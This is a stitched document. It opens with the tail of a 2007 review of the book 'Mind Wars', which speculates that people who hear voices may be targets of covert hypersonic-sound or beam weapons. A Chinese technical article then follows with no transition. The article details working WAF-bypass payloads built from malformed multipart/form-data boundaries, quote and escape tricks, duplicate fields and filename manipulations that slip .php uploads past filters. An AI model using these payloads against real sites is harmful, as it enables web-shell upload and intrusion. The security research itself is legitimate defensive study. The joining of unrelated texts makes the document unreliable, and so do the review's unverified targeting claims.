but far from the trenches in which experiments takes place. His calls for accountability
sound eminently reasonable but are theoretical and abstract because the details we need
in order to explore ethical implications in a real historical context, one with flesh-and-
blood men and women feeling real emotions, are hidden in darkness.
As a result, readers remain outsiders because we do not “need to know.” We learn
afterward some of what has taken place, when details filter into the light of ordinary day,
but the ethical imperatives of a quickened public conscience can not be applied
retroactively. The secret deeds are already done.
The technology of hypersonic sound (HSS) illustrates how the worlds of scientific
researchers and outsiders bifurcate, creating an epistemological divide when we outsiders
try to understand what is happening on a basic level.
Hypersonic sound is “a column of sound that does not spread out like
conventional sound but stays locked like a sonic laser.” (p. 147). If you enter the column,
you hear it, but outside it, you do not. HSS can be used to target individuals while
ensuring that those around them hear nothing.
It does not take a devious mind to imagine a variety of uses for hypersonic sound,
nor to imagine its misuse, even as a trivial amusement. Some accounts of HSS describe
pedestrians on sunny days walking into a column of sound in which they hear a waterfall.
Seconds later, the sound is gone. The demonstrator laughed, watching the non-
consenting public try to puzzle out experiences for which they had no prior frame.
4
More pernicious uses of the technology suggest themselves. At the siege of Waco,
David Koresh of the Branch Davidians reported hearing voices in his head. He was crazy,
we are told. But without the key pieces to the puzzle … how do we know?
Moreno states that he has spoken for years with people who claim to have been
targeted by this or similar technologies which put voices into their heads or use them
unknowingly to test beam, particle and electromagnetic weapons. I have spoken to such
people, too.
Yes, hearing voices that are not there is a symptom of illness. But hearing a voice
that no one else hears does not mean, now that we know about HSS, that the voices do
not exist.
Enter strangeness once again. Moreno concludes that the claims of these people
are not credible. But Moreno had already reviewed by that point in the discussion the
abuse of medical and psychological testing by intelligence professionals in the past.
We know about those earlier experiments only because CIA Director Richard
Helm’s order in 1973 to destroy all documents related to MKULTRA were carried out—
except for financial documents stored in obscure places. Had they known those boxes
existed, they too would have been destroyed, but because they were overlooked,
researchers could connect some dots, at least, and describe a maze of funding sources,
dummy companies fronting for intelligence agencies, and significant numbers of
respectable medical establishments funded in whole or in part by the CIA.
The parallax view.
So here’s the dilemma: Secret experiments were carried out by well-intentioned
patriots working under the cover of security who tortured non-consenting adults, then
covered up the events. There was no transparency or outside accountability for what they
did. The same kinds of people today authorize experiments and weapons testing, and in
the absence of accountability, they too report only to themselves. The light from inside
bends back at the surface and we see only a black hole.
Had Moreno spoken to victims of MKULTRA and related projects in the fifties or
sixties, before those documents were discovered, had he heard people subjected to
electroshock therapy or drugs or isolation who told him in horrendous detail what had
been done to them, don’t you think he would have made the same statement? That the
sane conventional respectable response by a man of the establishment would be that they
were deluded?
So why are such claims today unworthy of investigation?
Because to conduct such investigations in the absence of transparency,
accountability, and meaningful legislative oversight is to subject oneself to ridicule and
career suicide.
An aside about hypersonic sound … John Alexander, the author of “Future War,”
told me that a major motivation for developing hypersonic sound was to communicate
with covert agents in dangerous places. Someone about to be taken down can not answer
a cell phone call but can attend to a voice in the head that tells them to “get out now.”
Moreno doesn’t mention that application—not a serious flaw, but an indicator that
one depends on one’s sources for this sort of research and many of Moreno’s sources are
unnamed. Moreno has confidence in them, as I often do in mine, but without an objective
way to evaluate what they say … How do we know?
5
That question is left on the table when we finish this book. “Mind Wars” surveys
much of what has become public about military applications of brain and mind science
and reviews the historical context. Ethical issues are articulated at length. But in the end,
what we don’t know is still much larger than what we do know.
The national security state, with millions of classified documents and billions of
dollars in black research, freezes the average citizen out of the loop. Like enemies, real
and imagined, we do not “need to know.” Classification, of course, covers mistakes and
malfeasance and protects political bases in addition to ensuring security. So we ought to
feel uneasy when we finish this book. “Mind Wars” is not an antidote to “strangeness.”
We can’t blame Dr. Moreno, who wants doors to continue to open, calls to be returned.
But our dissonance persists. We don’t know what we don’t know, only that those who do
know ask us to trust.
Trust, yes, but verify, as the old Cold Warrior said. If it was good enough for him,
it ought to be good enough for us.
Works cited:
Mind Wars: Brain Research and National Defense
by Jonathan D. Moreno
Dana Press (The Dana Foundation: New York and Washington DC) 2006
Oath Betrayed: Torture, Medical Complicity, and the War on Terror
by Steven H. Miles, M. D.
Random House: New York. 2006.
Bluebird: Deliberate Creation of Multiple Personality by Psychiatrists
by Colin A. Ross, M.D.
Manitou Communications: Richardson Texas. 2000.
Future War: Non-Lethal Weapons in Twenty-First-Century Warfare
by John B. Alexander
St. Martin’s Griffin: 2000.
This review (edited) was published on June 22, 2007 by the National Catholic
Reporter (http://www.natcath.com/).
6 | pdf |
multipart-parse.md
5/19/2021
1 / 33
从RFC规范看如何绕过waf上传表单
背景介绍
传统waf以规则匹配为主,如果只是⽆差别的使⽤规则匹配整个数据包,当规则数量逐渐变多,会造成更多性能
损耗,当然还会发⽣误报情况。为了能够解决这些问题,需要对数据包进⾏解析,进⾏精准位置的规则匹配。
正常业务中上传表单使⽤普遍,不仅能够传参,还可以进⾏文件的上传,当然这也是⼀个很好的攻击点,waf想
要能够精准拦截针对表单的攻击,需要进⾏multipart/form-data格式数据的解析,并针对每个部分,如参数
值,文件名,文件内容进⾏针对性的规则匹配拦截。
虽然RFC规范了multipart/form-data相关的格式与解析,但是由于不同后端程序的实现机制不同,⽽且RFC相关
文档也会进⾏增加补充,最终导致解析⽅式各不相同。对于waf来说,很难做到对各个后端程序进⾏定制化解
析,尤其是云waf更加⽆法实现。
所以本文主要讨论,利⽤waf和后端程序对multipart/form-data的解析差异,造成对waf的bypass。
multipart/form-data相关RFC:
基于表单的文件上传: RFC1867
multipart/form-data: RFC7578
Multipart Media Type: RFC2046#section-5.1
解析环境
Flask/Werkzeug解析环境:docker/httpbin
Java解析环境:Windows10 pro 20H2/Tomcat9.0.35/jdk1.8.0_271/commons-fileupload
Java输出代码:
String result = "";
DiskFileItemFactory factoy = new DiskFileItemFactory();
ServletFileUpload sfu = new ServletFileUpload(factoy);
try {
List<FileItem> list = sfu.parseRequest(req);
for (FileItem fileItem : list) {
if (fileItem.getName() == null) {
result += fileItem.getFieldName() + ": " + fileItem.getString() +
"\n";
} else {
result += "filename: " + fileItem.getName() + " " +
fileItem.getFieldName() + ": " + fileItem.getString() + "\n";
}
}
} catch (FileUploadException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
multipart-parse.md
5/19/2021
2 / 33
PHP解析环境:Ubuntu18.04/Apache2.4.29/PHP7.2.24
PHP输出代码:
<?php
var_dump($_FILES);
var_dump($_POST);
基础格式
POST /post HTTP/1.1
Host: www.example.com:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.61 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=I_am_a_boundary
Content-Length: 303
--I_am_a_boundary
Content-Disposition: form-data; name="name"; filename="file.jsp"
Content-Type: text/plain;charset=UTF-8
This_is_file_content.
--I_am_a_boundary
Content-Disposition: form-data; name="key";
Content-Type: text/plain;charset=UTF-8
This_is_a_value.
--I_am_a_boundary--
此表单数据含有⼀个文件,name为name,filename为file.jsp,file_content为This_is_file_content.,还有⼀个非
文件的参数,其name为key,value为This_is_a_value.。
httpbin解析结果
{
"args": {},
"data": "",
"files": {
"name": "This_is_file_content."
},
"form": {
"key": "This_is_a_value."
},
multipart-parse.md
5/19/2021
3 / 33
"headers": {
"Accept": "*/*",
"Accept-Encoding": "deflate, identity;q=0.5",
"Accept-Language": "en",
"Content-Length": "303",
"Content-Type": "multipart/form-data; boundary=I_am_a_boundary",
"Host": "www.example.com:8081",
"Route-Hop": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
},
"json": null,
"origin": "10.1.1.1",
"url": "http://www.example.com:8081/post"
}
详细解析
1. Content-Type
Content-Type: multipart/form-data; boundary=I_am_a_boundary
对于上传表单类型,Content-Type必须为multipart/form-data,并且后⾯要跟⼀个边界参数键值对
(boundary),在表单中分割各部分使⽤。
倘若multipart/form-data编写错误,或者不写boundary,那么后端将⽆法准确解析这个表单的每个具体内
容。
2. Boundary
boundary: RFC2046
boundary需要按照以下BNF巴科斯范式
multipart-parse.md
5/19/2021
4 / 33
简单解释就是,boundary不能以空格结束,但是其他位置都可以为空格,⽽且字符⻓度在1-70之间,此规定语
法适⽤于所有multipart类型,当然并不是所有程序都按照这种规定来进⾏multipart的解析。
从前⾯介绍的multipart基础格式可以看出来,真正作为表单各部分之间分隔边界的不仅是Content-Type中
boundary的值,真正的边界是由--和boundary的值和末尾的CRLF组成的分隔⾏,当然为了能够准确解析表单
各个部分的数据,需要保证分隔⾏不会出现在正常的表单中的文件内容或者参数值中,所以RFC也建议使⽤特
定的算法来⽣成boundary值。
flask解析结果
这⾥需要注意两个点,第⼀,最终表单数据最后⼀个分隔边界,要以--结尾。第⼆,RFC规定原文为
也就是说,整体的分隔边界可以含有optional linear whitespace。
空格
注:本文使⽤空格的地⽅[\r\n\t\f\v ]都可以代替使⽤,文中只是介绍了使⽤空格的结果,⼤家可以测试其
他的,waf或者后端程序在解析\n时,会产⽣很多不同结果,感兴趣可⾃⾏测试。
multipart-parse.md
5/19/2021
5 / 33
⾸先使⽤boundary的值后⾯加空格进⾏测试,flask和php都能够正常的解析出表单内容。
php解析结果
虽然boundary的值后⾯加了空格,但是在作为分隔⾏的时候并没有空格也可以正常解析,但是经测试发现如果
按照RFC规定那样直接在分隔⾏中加入空格,效果就会不⼀样。
对于flask来说是按照了RFC规定实现,⽆论Content-Type中boundary的值后⾯是不加空格还是加任意空格,在
表单中非结束分隔⾏⾥都可以随意加空格,都不影响表单数据解析,但是需要注意的就是,在最后的结束分隔
⾏中,加空格会导致解析失败。
很有意思的是php解析过程中,在非结束分隔⾏中不能增加空格,⽽在结束分隔⾏中增加空格,却不会影响解
析。
multipart-parse.md
5/19/2021
6 / 33
可以看到,加了空格的分隔⾏内的文件内容数据没有被正确解析,⽽没加空格的非文件参数被解析成功,⽽且
结束分隔⾏中也添加了空格。
测试的时候偶然发现在如果在multipart/form-data和;之间加空格,如Content-Type: multipart/form-
data ; boundary="I_am_a_boundary",flask会造成解析失败,php解析正常。
正常来说,通过正则进⾏匹配解析的flask应该不会这样,具体实现在werkzeug/http.py:L406。
简单来说就是将Content-Type: multipart/form-data ; boundary="I_am_a_boundary"进⾏正则匹配,
然后将第⼀组匹配结果当作mimetype,第⼆组作为rest,由后⾯处理boundary取值,看下这个正则。
multipart-parse.md
5/19/2021
7 / 33
_option_header_start_mime_type = re.compile(r",\s*([^;,\s]+)([;,]\s*.+)?")
为了看着美观,使⽤regex101看下。
很明显,由于第⼀组匹配非空字符,所以到空格处就停了,但是第⼆组必须是[;,]开头,导致第⼆组匹配值为
空,⽆法获取boundary,最终解析失败。
双引号
boundary的值是⽀持⽤双引号进⾏编写的,就像是表单中的参数值⼀样,这样在写分隔⾏的时候,就可以将双
引号内的内容作为boundary的值,php和flask都⽀持这种写法。使⽤单引号是⽆法达到效果的,这也是符合上
文提到的BNF巴科斯范式的bcharsnospace的。
测试⼀下让重复多个双引号,或者含有未闭合的双引号或者双引号前后增加其他字符会发⽣什么。
Content-Type: multipart/form-data; boundary=a"I_am_a_boundary"
Content-Type: multipart/form-data; boundary= "I_am_a_boundary"
Content-Type: multipart/form-data; boundary= "I_am_a_boundary"a
Content-Type: multipart/form-data; boundary=I_am_a_boundary"
Content-Type: multipart/form-data; boundary="I_am_a_boundary
Content-Type: multipart/form-data; boundary="I_am_a_boundary"aa"
Content-Type: multipart/form-data; boundary=""I_am_a_boundary"
multipart-parse.md
5/19/2021
8 / 33
对于php来说相对简单,因为只要出现第⼀个字符不是双引号,就算是空格,都会将之作为boundary的⼀部
分,所以前四种解析类似,当第⼀个字符为双引号时,会找与之对应的闭合的双引号,如果找到了,那么就会
忽略之后的内容直接取双引号内内容作为boundary的值。
然⽽如果没有找到闭合双引号,就会导致boundary取值失败,⽆法解析multipart/form-data。
当然对于最后⼀种情况,会取⼀个空的boundary值,我也以为会解析失败,但是很搞笑的是,竟然boundary值
为空,php也可以正常解析,当然也可以直接写成Content-Type: multipart/form-data; boundary=。
multipart-parse.md
5/19/2021
9 / 33
⼤多数waf应该会认为这是⼀个不符合规范的boundary,从⽽导致解析multipart/form-data失败,所以这种绕
过waf的⽅式显得更加粗暴。
对于flask来说,可以看下解析boundary的正则werkzeug/http.py:L79。
_option_header_piece_re = re.compile(
r"""
;\s*,?\s* # newlines were replaced with commas
(?P<key>
"[^"\\]*(?:\\.[^"\\]*)*" # quoted string
|
[^\s;,=*]+ # token
)
(?:\*(?P<count>\d+))? # *1, optional continuation index
\s*
(?: # optionally followed by =value
(?: # equals sign, possibly with encoding
\*\s*=\s* # * indicates extended notation
(?: # optional encoding
(?P<encoding>[^\s]+?)
'(?P<language>[^\s]*?)'
)?
|
=\s* # basic notation
)
(?P<value>
"[^"\\]*(?:\\.[^"\\]*)*" # quoted string
|
[^;,]+ # token
)?
)?
\s*
""",
multipart-parse.md
5/19/2021
10 / 33
这个正则可以解释本文的⼤多数flask解析结果产⽣的原因,这⾥看到flask对于boundary两边的空格是做了处理
的,对于双引号的处理,都会取第⼀对双引号内的内容作为boundary的值,对于非闭合的双引号,会处理成
token形式,将双引号作为boundary的⼀部分,并不会像php⼀样解析boundary失败。
从上⾯正则也能看出,对于最后⼀种Content-Type的情况,flask也会取空值作为boundary的值,但是这不会同
过flask对boundary的正则验证,导致boundary取值失败,⽆法解析,下文会提及到。
转义符号
以flask的正则中quoted string和token作为区分是否boundary为双引号内取值,测试两种转义符的位置会怎
样影响解析。
\在token中
Content-Type: multipart/form-data; boundary=I_am_a\"_boundary
这种形式的boundary,flask和php都会将\认定为⼀个字符,并不具有转义作⽤,并将整体的
I_am_a\"_boundary内容做作为boundary的值。
\在quoted string中
multipart-parse.md
5/19/2021
11 / 33
Content-Type: multipart/form-data; boundary="I_am_a\"_boundary"
对于flask来说,在双引号的问题上,werkzeug/http.py:L431中调⽤⼀个处理函数,就是取双引号之间
的内容作为boundary的值。
可以看到,在取完boundary值之后还做了⼀个value.replace("\\\\", "\\").replace('\\"',
'"')的操作,将转义符认定为具有转义的作⽤,⽽不是单单⼀个字符,所以最终boundary的值是
I_am_a"_boundary。
对于php来说,依旧和token类型的boundary处理机制⼀样,认定\只是⼀个字符,不具有转义作⽤,所
以按照上文双引号中提到的,由于遇到第⼆个双引号就会直接闭合双引号,忽略后⾯内容,最终php会
取I_am_a\作为boundary的值。
multipart-parse.md
5/19/2021
12 / 33
空格 & 双引号
上文提到使⽤空格对解析的影响,既然可以使⽤双引号来指定boundary的值,那么如果在双引号外或者内加入
空格,后端会如何解析呢?
双引号外
对于flask来说,依旧和普通不加双引号的解析⼀致,会忽略双引号外(两边)的空格,直接取双引号内
的内容作为boundary的值,php对于双引号后⾯有空格时,处理机制和flask⼀致,但是当双引号前⾯有
空格时,会⽆法正常解析表单数据内容。
解析会和不带双引号的实现⼀致,此时php会将前⾯的空格和后⾯的双引号和双引号的内容作为⼀个整
体,将之作为boundary的值,当然这虽然符合RFC规定的boundary可以以空格开头,但是把双引号当作
boundary的⼀部分并不符合。
multipart-parse.md
5/19/2021
13 / 33
双引号内
此时php会取双引号内的所有内容(非双引号)作为boundary的值,⽆论是以任意空格开头还是结束,
其分隔⾏中boundary前后的空格数,要与Content-Type中双引号内boundary前后的空格个数⼀致,否则
解析失败。
值得注意的是,flask解析的时候,如果双引号内的boundary值以空格开始,那么在分隔⾏中类似php只
要空格个数⼀致,就可以成功解析,但是如果双引号内的boundary的值以空格结束,⽆论空格个数是否
⼀致,都⽆法正常解析。
multipart-parse.md
5/19/2021
14 / 33
想知道为什么出现这种状况,只能看下werkzeug是如何实现的,flask对boundary的验证可以在
werkzeug/formparser.py:L46看到。
#: a regular expression for multipart boundaries
_multipart_boundary_re = re.compile("^[ -~]{0,200}[!-~]$")
这个正则是来验证boundary有效性的,比较符合RFC规定的,只不过在⻓度上限制更⼩,可以是空格开
头,不能以空格结尾,但是⽤的不是全匹配,所以以空格结尾也会通过验证。
上图使⽤boundary= " I_am_a_boundary ",所以boundary的值为" I_am_a_boundary "双引号内的
内容,⽽且这个值也会通过boundary正则的验证,最终还是解析失败了,很是是奇怪。上文空格中提
到,对于flask来说,在分隔⾏中boundary后可以加任意空格不影响最终的解析的。
原因是解析multipart/form-data具体内容时,为了寻找分割⾏,将每⼀⾏数据都进⾏了⼀个
line.strip()操作,这样会把CRLF去除,当然会把结尾的所有空格也给strip掉,所以当boundary不以
空格结尾时,在分隔⾏中可以随意在结尾加空格。但是这也会导致⼀个问题,当不按照RFC规定,⽤空格
结尾作为boundary值,虽然过了flask的boundary正则验证,但是在解析body时,却将结尾的空格都strip
掉,导致在body中分隔⾏经过处理之后变为了-- I_am_a_boundary,这与Content-Type中获取的
boundary值(结尾含有空格)并不⼀致,导致找不到分隔⾏,解析全部失败。
结束分隔⾏
在上文空格内容中提到,php在结束分割⾏中的boundary后⾯加空格并不会影响最终的解析,其实并不是空格
的问题,经测试发现,其实php根本就没把结束分隔⾏当回事。
multipart-parse.md
5/19/2021
15 / 33
可以看到,没有结束分隔⾏,php会根据每⼀分隔⾏来分隔各个表单部分,并根据Content-Length来进⾏取表
单最后⼀部分的内容的值,然⽽这是极不尊重RFC规定的,⼀般waf会将这种没有结束分隔⾏的视为错误的
multipart/form-data格式,从⽽导致整体body解析失败,那么waf可以被绕过。
上文提到flask会对multipart/form-data的每⼀⾏内容进⾏strip操作,但是由于结束分隔⾏需要以--结尾,所以
在strip的过程中只会将CRLFstrip掉,但是在解析boundary的时候,boundary是不能以空格为结尾的,最终会导
致结束分隔⾏是严谨的--BOUNDARY--CRLF,当然如果使⽤双引号使boundary以空格结尾,那么结束分隔⾏是
可以正确解析的,但是非结束分隔⾏⽆法解析还是会导致整体解析失败。
其他
从flask的代码能够看出来,⽀持参数名的quoted string形式,就是参数名在双引号内。
⽽对于Java来说,⽀持参数名的⼤⼩写不敏感的写法。
multipart-parse.md
5/19/2021
16 / 33
3. Content-Disposition
对于multipart/form-data类型的数据,通过分隔⾏分隔的每⼀部分都必须含有Content-Dispostion,其类型为
form-data,并且必须含有⼀个name参数,形如Content-Disposition: form-data; name="name",如果这
部分是文件类型,可以在后⾯加⼀个filename参数,当然filename参数是可选的。
空格
经常和waf打交道的都知道,随便⼀个空格,可能就会发⽣奇效。对于Content-Disposition参数,测试在四个位
置加任意的空格。
原本有空格的位置
Content-Disposition: form-data; name="key1"; filename="file.php"
Content-Disposition: form-data; name="key1" ; filename="file.php"
Content-Disposition: form-data; name="key1" ; filename="file.php"
Content-Disposition: form-data ; name="key1" ; filename="file.php"
前三种类型,php和flask解析都是准确的。
multipart-parse.md
5/19/2021
17 / 33
但是第四种对于Content-Disposition: form-data ;来说,php解析准确,认为其是正常的
multipart/form-data数据,然⽽flask解析失败了,并且直接返回了500(:
这⾥flask处理Content-Disposition的⽅式是和request_header中Content-Type是⼀致的,经过了r",\s*
([^;,\s]+)([;,]\s*.+)?"匹配,由于空格导致后⾯的name和filename⽆法解析,只不过这种情况会
返回500。对于后续的name和filename得解析也是和request_header中Content-Type⼀致,后⾯匹配中的
group作为rest进⾏后续的正则匹配,匹配⽤到的正则,是上文第2部分(Boundary)双引号中的
_option_header_piece_re。
参数名和等于号之间
Content-Disposition: form-data; name ="key1"; filename="file.php"
Content-Disposition: form-data; name="key1"; filename ="file.php"
flask正常解析
multipart-parse.md
5/19/2021
18 / 33
php解析失败,不仅第⼀部分数据⽆法解析,第⼆部分非文件参数也解析失败,可⻅php解析会将
name=/filename=作为关键字匹配,当发现name=和filename=都不存在时,直接不再解析了,这与
boundary的解析是不⼀样的,使⽤Content-Type: multipart/form-data; boundary
=I_am_a_boundary⼀样可以正常解析处boundary的值。
如果我们不在name和等于号之间加空格,只在filename和等于号之间加空格,形如Content-
Disposition: form-data; name="key1"; filename ="file.txt",那么php会将这种解析会非文
件参数。
multipart-parse.md
5/19/2021
19 / 33
如果waf⽀持这种多余空格形式的写法,那么将会把这种解析为文件类型,造成解析上的差异,waf错把
非文件参数当作文件,那么可能绕过waf的部分规则。
参数值和等于号之间
Content-Disposition: form-data; name= "key1"; filename= "file_name"
php和flask解析正常。
参数值中
这个没啥注意的,flask会按照准确的name解析。
php会忽略开头的空格,并把非开头空格转化为_,具体原因可以看php-variables。
multipart-parse.md
5/19/2021
20 / 33
重复参数
重复name/filename参数名
php和flask都会取最后⼀个name/filename,从flask代码来看,存储参数使⽤了字典,由于具有相同的
key=name,所以最后在解析的时候,遇到相同key的参数,会进⾏参数值的覆盖。
这种重复参数名的⽅式,在下文中将结合其他⽅式进⾏绕过waf。
重复name/filename参数名和参数值
接着尝试重复整个form-data的⼀部分,构造这样⼀个数据包进⾏测试。
--I_am_a_boundary
Content-Disposition: form-data; name="key3"; filename="file_name.asp"
Content-Type: text/plain;charset=UTF-8
This_is_file_content.
--I_am_a_boundary
Content-Disposition: form-data; name="key3"; filename="file_name.jsp"
Content-Type: text/plain;charset=UTF-8
multipart-parse.md
5/19/2021
21 / 33
This_is_file2_content.
--I_am_a_boundary
Content-Disposition: form-data; name="key5";
Content-Type: text/plain;charset=UTF-8
aaaaaaaaaaaa
--I_am_a_boundary
Content-Disposition: form-data; name="key5";
Content-Type: text/plain;charset=UTF-8
bbbbbbbbbbbb
--I_am_a_boundary--
对于php来说,和在同⼀个Content-Disposition中重复name/filename⼀致,会选取相同name部分中最后
⼀部分。
对于flask来说,带有filename的,会取第⼀部分,⽽且相同name的非文件参数,会将两个取值作为⼀个
列表解析。
其实这⾥是httpbin处理后的结果,为了准确看到flask解析结果,需要直接查看
request.form/request.files。
multipart-parse.md
5/19/2021
22 / 33
使⽤的是ImmutableMultiDict,在werkzeug/datastructures.py中定义,可以看到,最终form和
files都是把所有multipart数据都获取了,即使具有相同的key。如果我们使⽤常⽤的
keys()/values()/item()函数,都会因为相同key,⽽只能取到第⼀个key的值,想获取相同key的所有
取值,需要使⽤ImmutableMultiDict.to_dict()⽅法,并设置参数flat=True。
httpbin就是在处理request.form时,多加了这种处理,导致最后看到两个取值的列表,但是在
request.files处理时没有进⾏to_dict。
由此可⻅,不同的后端程序,实现起来可能会不⼀样,如果waf在实现时,并没有将所有key重复的数据
都解析出来,并且进入waf规则匹配,那么使⽤重复的key,也会成为很好的绕过waf的⽅式。
引号
上文提到,_option_header_piece_re这个正则在flask中也会⽤来解析Content-Disposition,所以对于
name/filename的取值,和boundary取值机制是⼀样的,加了双引号是quoted string,没有双引号的是
token。
所以主要分析php是如何处理的,⾸先php在处理boundary时,如果空格开头,那么空格将作为boundary的⼀
部分即使空格后存在正常的双引号闭合的boundary。但是在Content-Disposition中,双引号外的空格是可以被
忽略的,当然不使⽤双引号,参数值两边的空格也会被忽略。
multipart-parse.md
5/19/2021
23 / 33
此⼩段标题引号,并没有像上⼀⼤段⼀样使⽤双引号,是因为php不仅⽀持双引号取值,也⽀持单引号取值,
这很php。
flask肯定是不⽀持单引号的,上⾯的正则能看出来,单引号会被当作参数值的⼀部分,这⾥看了下Java的
commons-fileuploadv1.2的实现org.apache.commons.fileupload.ParameterParser.java:L76,在解析
参数值的时候也是不⽀持单引号的。
multipart-parse.md
5/19/2021
24 / 33
所以如果waf在multipart解析中是不⽀持参数值⽤单引号取值的,对于php⽽⾔,出现这种payload就可以导致
waf解析错误。
Content-Disposition: form-data; name='key3; filename='file_name.txt; name='key3'
⽀持单引号的会将之解析为{"name": "key3"},并没有filename参数,视为非文件参数
不⽀持单引号的会将之解析为{"name": "'key3'", "filename": "'file_name.txt"},视为文件参数,将
之后参数值视为文件内容。
这种waf和后端处理程序解析的不⼀致可能会导致waf被绕过。
此时,还有⼀个引号的问题没有解决,就是如果出现多余的引号会发⽣什么,形如Content-Disposition:
form-data; name="key3"a"; filename="file_name;txt",上文在boundary的解析中已经看到了结果,
name会取key3,并忽略之后的内容,即使含有双引号,那么后⾯的filename内容还能正确解析吗?正好看看
flask使⽤正则和Java/php使⽤字符解析带来的⼀些差异。
看⼀下flask的具体实现werkzeug/http.py:L402。
result = []
value = "," + value.replace("\n", ",") # ',form-data; name="key3"aaaa";
filename="file_name.txt"'
while value:
match = _option_header_start_mime_type.match(value)
if not match:
break
result.append(match.group(1)) # mimetype
options = {}
# Parse options
rest = match.group(2)
# '; name="key3"aaaa"; filename="file_name.txt"'
continued_encoding = None
while rest:
optmatch = _option_header_piece_re.match(rest)
if not optmatch:
break
option, count, encoding, language, option_value = optmatch.groups() #
multipart-parse.md
5/19/2021
25 / 33
option_value: "key3"
...
...
... # 省略
rest = rest[optmatch.end() :]
result.append(options)
使⽤_option_header_piece_re匹配到之后,会继续从下⼀个字符开始继续进入正则匹配,所以第⼆次进入
正则时,rest为aaaa"; filename="file_name.txt",以a开头就⽆法匹配中正则了,直接退出,导致
filename解析失败,并且name取key3。
Java的代码在上⾯已经贴出,其中的terminators=";",也就是说当出现双引号时,会忽略;,但是当找到闭
合双引号时,取值没有结束,会继续寻找;,这就导致会⼀直取到闭合双引号外的;才会停⽌,这和php是不⼀
致的,php虽然后⾯多余的双引号会影响后续filename取值,但是会在第⼀次出现闭合双引号时取值结束。
对于flask/php来说,如果waf解析⽅式和后端不相同,也可能会错误判断文件和非文件参数,但是Java后端很难
使⽤,因为对于name的取值会导致后端⽆法正确获取。但是这个取值特性依旧有⽤,下文文件扩展名将进⾏介
绍。
multipart-parse.md
5/19/2021
26 / 33
转义符号
php和flask都⽀持参数值中含有转移符号,从上⾯的_option_header_piece_re正则可以看出,和boundary
取值⼀致,flask在quoted string 类型的参数值中的转义符具有转义作⽤,在token类型中只是⼀个字符\,
不具有转义作⽤。
php虽然在token类型中,解析和对boundary解析⼀致,转义符号具有转义作⽤,但是在解析quoted string
类型时解析⽅式和boundary竟然不⼀样了,解析boundary时,转义符为⼀个\字符不具有转义作⽤,所以
boundary="aa\"bbb"会被解析为aa\,⽽在Content-Disposition中,转义符号具有转义作⽤。
和上文提到的php解析单引号的⽅式⼀样,存在这么⼀种payload
Content-Disposition: form-data; name="key3\"; filename="file_name.txt; name="key3"
multipart-parse.md
5/19/2021
27 / 33
flask/php将之解析为非文件参数,并且根据多个重复的name/filename解析机制,最终解析结果{"name":
"key3"}
如果waf并不⽀持转义符号的解析,只是简单的字符匹配双引号闭合,那么解析结果为{"name": "key3\\",
"filename": "\"file_name.txt"},视为文件参数,将之后参数值视为文件内容,造成解析差异,导致waf
可能被绕过。
上文提到php可以使⽤单引号取值,在单引号中增加转义符的解析⽅式会和双引号不同,具体可参考php单引号
和双引号的区别与⽤法。
文件扩展名
前文主要提出⼀些mutlipart整体上的waf绕过,在源站后端解析正常的情况下让waf解析失败不进入规则匹配,
或者waf解析与后端有差异,判断是否为文件失败,导致规则⽆法匹配,或者filename参数根本没有进入waf的
规则匹配。⽆论是在CTF比赛中还是在实际渗透测试中,如何绕过文件扩展名是⼤家很关注的⼀个点,所以这
⼀段内容主要介绍,在waf解析到filename参数的情况下,从协议和后端解析的层⾯如何绕过文件扩展名。
其实这种绕过就⼀个思路,举个简单的例⼦filename="file_name.php",对于⼀个正常的waf来说取到
file_name.php,发现扩展名为php,接着进⾏拦截,此处并不讨论waf规则中不含有php关键字等等waf规则
本⾝不完善的情况,我们只有⼀个⽬标,那就是waf解析出的filename不出现php关键字,并且后端程序在验证
扩展名的时候会认为这是⼀个php文件。
从各种程序解析的代码来看,为了让waf解析出现问题,⼲扰的字符除了上文说的引号,空格,转义符,还
有:;,这⾥还是要分为两种形式的测试。
token形式
Content-Disposition: form-data; name=key3; filename=file_name:.php
Content-Disposition: form-data; name=key3; filename=file_name'.php
Content-Disposition: form-data; name=key3; filename=file_name".php
Content-Disposition: form-data; name=key3; filename=file_name\".php
Content-Disposition: form-data; name=key3; filename=file_name .php
multipart-parse.md
5/19/2021
28 / 33
Content-Disposition: form-data; name=key3; filename=file_name;.php
前五种情况flask/Java解析结果都是⼀致的,会取整体作为filename的值,都是含有php关键字的,这也
说明如果waf解析存在差异,将特殊字符直接截断取值,会导致waf被绕过。
最后⼀种情况,flask/Java/php解析都会直接截断,filename=file_name,这样后端获取不了,⽆论waf解
析⽅式如何,⽆法绕过。
对于php⽽⾔,前三种会如flask以⼀样,将整体作为filename的值,第五种空格类型,php会截断,最终
取filename=file_name,这种容易理解,当没出现引号时,出现空格,即认为参数值结束。
然后再测试转义符号的时候,出现了从\开始截断,并去\后⾯的值最为filename的值,这种解析⽅式和
boundary解析也不相同,当然双引号和单引号相同效果。
看代码才发现,php并没有把\当作转义符号,⽽是贴⼼地将filename看做⼀个路径,并取路径中文件的
名称,毕竟参数名是filename啊:)
multipart-parse.md
5/19/2021
29 / 33
所以这个解析⽅式和引号跟本没关系,只是php在解析filename时,会取最后的\或者/后⾯的值作为文件
名。
quoted string形式
Content-Disposition: form-data; name=key3; filename="file_name:.php"
Content-Disposition: form-data; name=key3; filename="file_name'.php"
Content-Disposition: form-data; name=key3; filename="file_name".php"
Content-Disposition: form-data; name=key3; filename="file_name\".php"
Content-Disposition: form-data; name=key3; filename="file_name .php"
Content-Disposition: form-data; name=key3; filename="file_name;.php"
flask解析结果还是依照_option_header_piece_re正则,除第三种filename取file_name之外,其他都会
取双引号内整体的值作为filename,转义符具有转义作⽤。php第三种也会解析出file_name,但是在第四
种转义符是具有转义作⽤的,所以进入上文的*php_ap_basename函数时,是没有\的,所以其解析结果
也会是file_name".php,使⽤单引号的情况和上文引号部分分析⼀致。
multipart-parse.md
5/19/2021
30 / 33
对于Java来说,除第三种情况外,都是会取引号内整体作为filename值,但是第三种情况就非常有趣,上
文引号部分已经分析,Java会继续取值,那么最后filename取值为"file_name".php"。
所以对于Java这个异常的特性来说,通常waf会像php/flask那样在第⼀次出现闭合双引号时,直接取双引
